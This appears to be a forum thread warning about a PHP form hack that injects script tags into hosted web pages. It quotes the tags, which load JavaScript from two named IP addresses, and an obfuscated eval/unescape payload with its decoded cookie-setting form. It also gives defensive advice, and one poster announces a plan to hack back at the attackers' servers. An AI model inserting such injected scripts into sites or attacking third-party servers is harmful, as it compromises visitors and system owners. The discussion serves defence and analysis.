Server Hack Alert

[netbuddy]

If you have a web site that allows people to use forms then beware that theirs a hack going around that particulalry nasty in as far as it is designed to take complete admin ownership of the server root to your site... if your site is hacked with the script that is being found inserted in to all the site web pages, you are going to have problems dealing with this and from what I have been reading, web hosts are not doing enough to help their customer bases. Aparently IXWebhosting is blaming its customers and not helping them get ownership back... This is just one example, a search of the internet reveals several variants that all have same codebase but different admin owners.

This sounds like its a hack group that are exploiting insecure forms and PHP versions.

Idon't know the name of the attack but Its designed to take ownership and lock out the admin (rightful owner) and people are unaware that its happed at all until they try to access their site. I have a copy of the exploit, I do not know the initalizer but if your tech's want to see the code that gets uploaded and inserted, they are welcome to a copy so they can implement some sort of server safeguards, they only need to email me.

L8rz.

[neuroherb]

If this is another variant on using a known PHP exploit in calling external PHP files if you can't right your own script additions to ensure the firle exists on your hardware before including it in a script then you should use a .htaccess file to override the serverfarm settings and trn off the ability to include external files.

[netbuddy]

I do not know if its a variant as I only discovered it on a forum today with someone asking for help on how to get his site back.

Some of this script is encoded and I will be decoding the string later when I have time. Getting on-line today has been a chore.

I will be looking in to the subject and as I learn more... I will post it here.

[netbuddy]

These are the two servers that the script is attempting to connect to.

http://samspade.org/whois/218.93.202.61 <- Beijing, China.

http://samspade.org/whois/78.110.175.21 <- Moscow, Russia.

What the hack appears to be doing is masquerading as an insert code for Yahoo stats counter. The PHP script inserts a small javascript that is obfuscated and easily bypasses detection.

It may be worth while people putting those IP addresses in to the firewall settings to block those ip addresses to stop their computer from being compromised by malware, which is the most obvious method of attack.

Ok, its been a *itch of a day and decoding the script was not easy as it was cleverly compiled so that on decompile the script executed... Hence the need to be off line when hacking the hackers script.

Right... I am now off to attempt to hack these guys to see what scripts are dumped on the victims PC. As soon as I know anything... You will know.

[aendrew]

Thanks for the update! Any more information, ie, what version of PHP it attacks, what scripts are vulnerable, etc?

At any rate, I'm making sure all my CMS software is current...

Edit: After a bit of looking around, it seems the problem is fairly local to IXWebhosting. Would somebody please confirm or deny this?

[netbuddy]

Edited: Sorry, my son hit the mouse button and submitted before I had chance to put the post in...

[netbuddy]

I wouldn't know but this could happen on any server where the users site does not have any way of "Cleaning" the $_POST, $_FILES & $_GET arrays and operating a "White list" of allowed or accepted input fields will help stop things like this.

Other ways of protecting are in the HTML itself, this can be only accepting a maximum length input on fields that need limiting, eg. an email address, having a maximum of 50 character input, limits the chance that a form field can be used to insert enough code to break the site form.

Using anti-spoofing techniques as I have described in a thread about forum spam.

When cleaning inputs, remove the entities that can be used to break a form like tags and html code as well as that, testing that the fields have the correct elements in them, if its a phone number, make sure it is a number or a phone format.

[netbuddy]

Well I have tried several ways of coaxing the server into deploying the payload but they have made it difficult.

for example, the hijack script that writes in the <script tags writes them like this

<script id="_1_" src="218.93.202.61/cp/"></script>
<script id="_2_" src="78.110.175.21/cp/"></script>

Well, I managed to get this type of response out of the one IP address... here it is, the payload
_=0;for(i=0;i<9;i++){var d=document.getElementById("_"+i+"_");if(d)d.src=""}eval(unescape('#/!/J%75$%73@%74 f%75!%63@%6B$ o$%66~%66`.#%2E@.|�!%3C%64#iv! %73%74`%79l%65~=#di%73p@%6Cay%3An|o#ne%3E|\n%76#%6 1r~%20$t%3D#n%65#w` ~%44%61t!e#(!%31#%32%32@%39~3`01%34%33@%39000#%29; $%64%6F%63`%75%6D~en%74.`%63oo%6Bie=|%22~hgf`%74$% 3D|1`;%20!%65%78pi@%72`%65`s%3D$"+t~%2E#%74oGM%54!S!t~r%69@%6Eg(~)+";@%20|p`ath=`/%22%3B~\n/%2F%3C`%2F%64@%69`v@%3E');well most of it, I broke it on purpose so that it is not usable.

I will see what decoding the script brings...

[netbuddy]

I am guessing that either this is a dry run to test a next stage deployment or the hacker knows when a browser request is made for a javascript or not and can dynamically deliver a response like...

//Just F*** off...<div style=display:none>
var t=new Date(1229301882000);document.cookie="hgft=1; expires="+t.toGMTString()+"; path=/";
//</div>

If this is all it is, then this is definitely a dry run for something bigger and possibly more nasty, all the payload appears to do is write an empty cookie that expires at some ridiculous time in the future.

I would err on the side of caution, put the IP addresses in your firewalls to stop any outbound connection to those IP addresses, so at least you have future proofed yourself from any poisoned sites that you may stumble across.